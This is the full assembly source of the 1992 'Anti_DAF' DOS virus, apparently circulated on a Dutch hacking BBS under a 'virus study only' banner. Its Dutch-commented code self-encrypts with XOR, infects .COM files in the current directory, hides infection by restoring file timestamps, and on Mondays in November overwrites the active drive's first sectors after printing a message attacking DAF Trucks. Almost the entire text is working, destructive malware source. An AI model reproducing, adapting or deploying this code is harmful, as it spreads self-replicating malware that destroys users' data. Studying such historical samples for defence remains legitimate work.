;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] [=- ; ; -=] For All Your H/P/A/V Files [=- ; ; -=] SysOp: Peter Venkman [=- ; ; -=] [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=][][][][][][][][][][][][][][][=- ; ; ; ; *** NOT FOR GENERAL DISTRIBUTION *** ; ; ; ; This File is for the Purpose of Virus Study Only! It Should not be Passed ; ; Around Among the General Public. It Will be Very Useful for Learning how ; ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; ; Experience can Turn it Into a far More Malevolent Program Than it Already ; ; Is. Keep This Code in Responsible Hands! ; ; ; ;****************************************************************************; ;**************************************************************************** ;* The Anti_DAF Virus * ;* * ;* Assembled with Tasm 2.5 * ;* * ;* (c) 1992 Dark Helmet & The Virus Research Centre, The Netherlands * ;* The author takes no responsibilty for any damages caused by the virus * ;* * ;* Special greetings and thanx to : * ;* Glenn Benton, XSTC for their nice source and viruses, * ;* Peter Venkman for his BBS, Guns and Roses for their great music, * ;* and al the other viruswriters... * ;* * ;* "Dark Helmet strikes back..." * ;* * ;*--------------------------------------------------------------------------* ;* * ;* NOTE : This virus will overwrite the first sectors of the active drive * ;* on any monday in November. * ;* * ;* Coming soon : CIVIL WAR II * ;* * ;*--------------------------------------------------------------------------* ;* * ;* Het Anti-DAF virus is hoofzakelijk gebaseerd op The Navigator virus * ;* De encryptie die bij Anti-DAF gebruikt wordt is gebaseerd * ;* op de encryptie zoals deze door Glenn Benton gebruikt is * ;* bij het 'RTL4/Wedden dat virus'. * ;* Om de controleren of een file geinfecteerd is worden de 4e, 5e en 6e * ;* bytes aan het begin gebruikt. * ;* * ;* XOR de 4e en 5e byte * ;* Verhoog resultaat met 1 * ;* Vergelijk met 6e byte * ;* * ;* Is het resultaat gelijk dan is de file al besmet, de 6e byte word ook * ;* voor de decryptie gebruikt. * ;* Verlaag deze waarde met 1 en je hebt de sleutel zoals deze bij de * ;* decrypty in gebruik is. * ;* Het 4e byte word bepaald uit de lengte van de file + 1. * ;* De 5e byte word bepaald door het aantal seconden van * ;* de systeemtijd te pakken. * ;* * ;* Dark Helmet * ;* * ;**************************************************************************** .Radix 16 Anti_DAF Segment Assume cs:Anti_DAF, ds:Anti_DAF org 100h len equ offset last - begin vir_len equ offset last - vir_start Dummy: db 0e9h, 03h, 00h Key: db 000h, 00h, 01h Begin: call virus ; IP op stack Virus: pop bp ; Haal IP van Stack sub bp,109h lea si,vir_start+[bp] ; voor decryptie mov di,si mov cx,vir_len ; lengte decryptie gedeelte mov ah,ds:[105h] ; haal sleutel op dec ah ; sleutel met 1 verminderen ; voor decryptie decrypt: lodsb ; decrypt virus xor al,ah stosb loop decrypt vir_start: mov dx,0fe00h ; verplaats DTA mov ah,1ah int 21h restore_begin: mov di,0100h ; herstel begin programma lea si,ds:[buffer+bp] mov cx,06h rep movsb mov ah,2ah ;kijk of het een maandag int 21h ;in november is cmp dh,00bh jne no_activate cmp al,01h jne no_activate activate: mov ah,09h ; activeer het virus :-) lea dx,[text+bp] ; druk text af int 21h mov ah,19h ; vraag drive op int 21h mov dx,0 ; overschrijf eerste sectors mov cx,10h ; van huidige drive mov bx,0 int 26h jmp exit no_activate: lea dx,[com_mask+bp] ; zoekt eerste .COM program mov ah,04eh ; in directorie xor cx,cx int 21h Open_file: mov ax,03d02h ; open gevonden file mov dx,0fe1eh int 21h mov [handle+bp],ax xchg ax,bx Read_date: mov ax,05700h ;lees datum/tijd file int 21h ;en bewaar deze mov [date+bp],dx mov [time+bp],cx Check_infect: mov bx,[handle+bp] ; kijkt of al geinfecteerd mov ah,03fh mov cx,06h lea dx,[buffer+bp] int 21h mov al,byte ptr [buffer+bp]+3 xor al,byte ptr [buffer+bp]+4 inc al cmp al,byte ptr [buffer+bp]+5 jne infect_file Close_file: mov bx,[handle+bp] ; sluit file mov ah,3eh int 21h Next_file: mov ah,4fh ; zoekt volgende file int 21h jnb open_file jmp exit ; geen meer gevonden, ; ga naar exit Infect_file: mov ax,word ptr [cs:0fe1ah] ; lees lengte van file in sub ax,03h mov [lenght+bp],ax ; sla lengte op voor sprong ; instructie zodadelijk inc al ; verhoog AL, eerste key mov [key1+bp],al mov ah,2ch ; vraag systeemtijd op int 21h mov [key2+bp],dh ; gebruik seconden voor tweede ; key mov al,dh xor al,[key1+bp] ; derde sleutel en sleutel ; voor encrypty is een xor ; van key1 en key2 mov [sleutel+bp],al lea si,vir_start+[bp] mov di,0fd00h ; encrypt hele zooi aan het ; einde van het segment mov cx,vir_len Encrypt: lodsb ; de encryptie xor al,[sleutel+bp] stosb loop encrypt mov al,[sleutel+bp] inc al mov [sleutel+bp],al Write_jump: mov ax,04200h ; schrijf de jmp die het call move_pointer ; die het virus aan het begin mov ah,40h ; maakt mov cx,01h lea dx,[jump+bp] int 21h mov ah,40h ; schrijf de offset die de jmp mov cx,02h ; maakt lea dx,[lenght+bp] int 21h mov ah,40 ; schrijf de sleutels weg mov cx,03h lea dx,[key1+bp] int 21h Write_virus: mov ax,4202h ; schrijf virus gedeelte call move_pointer ; tot vir_start mov ah,40h mov cx,len - vir_len lea dx,[begin+bp] int 21h mov ah,40h ; schrijf het encrypte virus mov cx,vir_len ; achter de rest van het virus mov dx,0fd00h int 21h restore_date: mov dx,[date+bp] ; herstel datum/tijd mov cx,[time+bp] ; geinfecteerde file mov bx,[handle+bp] mov ax,05701h int 21h exit: mov bx,0100h ; continu met orgineel jmp bx ; orgineel programma ;---------------------------------------------------------------------------- move_pointer: mov bx,[handle+bp] xor cx,cx xor dx,dx int 21h ret ;---------------------------------------------------------------------------- com_mask db "*.com",0 handle dw ? date dw ? time dw ? buffer db 090h,0cdh,020h,044h,048h,00h lenght dw ? jump db 0e9h,0 text db 0ah,0ah,0dh,"The Anti-DAF virus",0ah,0dh db "DAF-TRUCKS Eindhoven",0ah,0dh db "Hugo vd Goeslaan 1",0ah,0dh db "Postbus 90063",0ah,0dh db "5600 PR Eindhoven, The Netherlands",0ah,0dh db 0ah,"DAF sucks...",0ah,0dh db "(c) 1992 Dark Helmet & The Virus Research Centre",0ah,0dh,"$",0 key1 db 00 key2 db 00 sleutel db 00 last db 090h Anti_DAF ends end dummy ;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] [=- ; ; -=] For All Your H/P/A/V Files [=- ; ; -=] SysOp: Peter Venkman [=- ; ; -=] [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=][][][][][][][][][][][][][][][=- ; ; ; ; *** NOT FOR GENERAL DISTRIBUTION *** ; ; ; ; This File is for the Purpose of Virus Study Only! It Should not be Passed ; ; Around Among the General Public. It Will be Very Useful for Learning how ; ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; ; Experience can Turn it Into a far More Malevolent Program Than it Already ; ; Is. Keep This Code in Responsible Hands! ; ; ; ;****************************************************************************; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; ;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;